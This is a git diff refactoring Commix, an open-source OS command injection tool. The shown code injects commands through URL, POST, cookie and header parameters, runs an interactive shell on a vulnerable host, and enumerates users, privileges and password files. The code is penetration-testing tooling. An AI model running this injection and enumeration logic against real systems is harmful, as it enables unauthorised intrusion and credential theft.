settings.LOAD_SESSION = False - # Check for any enumeration options. - fb_enumeration.stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Check for any system file access options. - fb_file_access.stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Check if defined single cmd. - if menu.options.os_cmd: - fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if go_back == True: - break - gotshell = checks.enable_shell(url) - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "exit": - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - time.sleep(timesec) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Command execution results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell or shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - settings.print_data_to_stdout(settings.command_execution_output(shell)) - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - elif gotshell in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(gotshell) - pass - - except KeyboardInterrupt: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return False - else : - settings.print_data_to_stdout(settings.END_LINE.CR) - + return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. (call the injection handler) """ def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - if fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: - return False + return fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) # eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 318dc40e73..4d84b58825 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -12,333 +12,29 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys -import time -import json -import string -import random -import base64 -from src.utils import menu -from src.utils import settings -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.utils import common -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_payloads -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - # Encoding spaces. - payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - try: - # Get the response of the request - response = requests.get_request_response(request) - except KeyboardInterrupt: - response = None +from src.core.injections.controller import injector - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - try: - # Get the response of the request - response = requests.get_request_response(request) - except KeyboardInterrupt: - response = None - - return response, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.referer_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.host_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Custom header injection) +The "file-based" technique on semiblind OS command injection. """ -def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. """ -def injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - # Execute shell commands on vulnerable host. - if alter_shell : - payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) - else: - payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - if settings.COMMENT in payload_msg: - payload = payload.split(settings.COMMENT)[0].strip() - payload_msg = payload_msg.split(settings.COMMENT)[0].strip() - debug_msg = "Executing the '" + cmd.split(settings.COMMENT)[0].strip() + "' command. " - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - else: - # Check if defined method is POST. - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - return response - - # Do the injection check - response = check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - return response +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) """ Find the URL directory. """ -def injection_output(url, OUTPUT_TEXTFILE, timesec): - - def custom_web_root(url, OUTPUT_TEXTFILE): - path = _urllib.parse.urlparse(url).path - if path.endswith('/'): - # Contract again the url. - scheme = _urllib.parse.urlparse(url).scheme - netloc = _urllib.parse.urlparse(url).netloc - output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE - else: - try: - path_parts = [non_empty for non_empty in path.split('/') if non_empty] - count = 0 - for part in path_parts: - count = count + 1 - count = count - 1 - last_param = path_parts[count] - output = url.replace(last_param, OUTPUT_TEXTFILE) - if "?" and settings.OUTPUT_FILE_EXT in output: - try: - output = output.split("?")[0] - except: - pass - except IndexError: - output = url + "/" + OUTPUT_TEXTFILE - settings.DEFINED_WEBROOT = output - return output - - if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: - if menu.options.web_root: - scheme = _urllib.parse.urlparse(url).scheme - hostname = _urllib.parse.urlparse(url).hostname - netloc = _urllib.parse.urlparse(url).netloc - output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE - if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): - if settings.MULTI_TARGETS: - settings.RECHECK_FILE_FOR_EXTRACTION = True - while True: - message = "Do you want to use URL '" + output - message += "' for command execution output? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.DEFINED_WEBROOT = output - break - elif procced_option in settings.CHOICE_NO: - message = "Enter URL to use " - message += "for command execution output > " - message = common.read_input(message, default=output, check_batch=True) - output = settings.DEFINED_WEBROOT = message - info_msg = "Using '" + output - info_msg += "' for command execution output." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if not settings.DEFINED_WEBROOT: - pass - else: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass - else: - output = custom_web_root(url, OUTPUT_TEXTFILE) - else: - output = settings.DEFINED_WEBROOT - - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking if the file '" + output + "' is accessible." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - return output +def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): + return injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) """ Command execution results. """ -def injection_results(url, OUTPUT_TEXTFILE, timesec): - #Find the directory. - output = injection_output(url, OUTPUT_TEXTFILE, timesec) - # Check if defined extra headers. - request = _urllib.request.Request(output) - headers.do_check(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - - if type(response) is bool and response != True or response is None: - shell = "" - else: - try: - shell = checks.page_encoding(response, action="encode").rstrip().lstrip() - #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] - if settings.TARGET_OS == settings.OS.WINDOWS: - shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] - #shell = [space.strip() for space in shell] - shell = [empty for empty in shell if empty] - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - shell = "" - return shell +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py deleted file mode 100755 index 9ff7b69b93..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ /dev/null @@ -1,299 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -from src.utils import logs -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector - -""" -The "tempfile-based" injection technique on Semiblind OS Command Injection. -__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - # Command execution results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - ps_version = output - checks.print_ps_version(ps_version, filename, _) - -""" -Hostname enumeration -""" -def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) - -""" -Retrieve system information -""" -def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_os = output - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if target_os: - if settings.TARGET_OS != settings.OS.WINDOWS: - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - distro_name = output - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout("\n") - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_arch = output - else: - target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) - -""" -The current user enumeration -""" -def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, cu_account = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - _ = True - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) - - -""" -Check if the Current user is privileged. -""" -def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) - -""" -System users enumeration -""" -def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - cmd = settings.SYS_USERS - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE - # URL encode "+ " if POST request and python alternative shell. - if alter_shell and http_request_method == settings.HTTPMETHOD.POST: - cmd = cmd.replace("+","%2B") - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - try: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - except TypeError: - output = "" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_users = output - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - -""" -System passwords enumeration -""" -def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - cmd = settings.SYS_PASSES - #settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - checks.print_passes(sys_passes, filename, _, alter_shell) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - check_how_long = 0 - checks.print_single_os_cmd(cmd, output, filename) - return check_how_long, output - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - def reset(): - if settings.ENUMERATION_DONE: - settings.ENUMERATION_DONE = False - - reset() - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().ps_version_msg() - powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.hostname: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().hostname_msg() - hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.current_user: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().current_user_msg() - current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.is_root or menu.options.is_admin: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.sys_info: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().os_info_msg() - system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.users: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().print_users_msg() - system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.passwords: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--passwords" - checks.unavailable_option(check_option) - else: - checks.print_enumenation().print_passes_msg() - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - -""" -Check stored session -""" -def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - tfb_injector.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - -# eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py deleted file mode 100755 index 382d196197..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ /dev/null @@ -1,146 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by 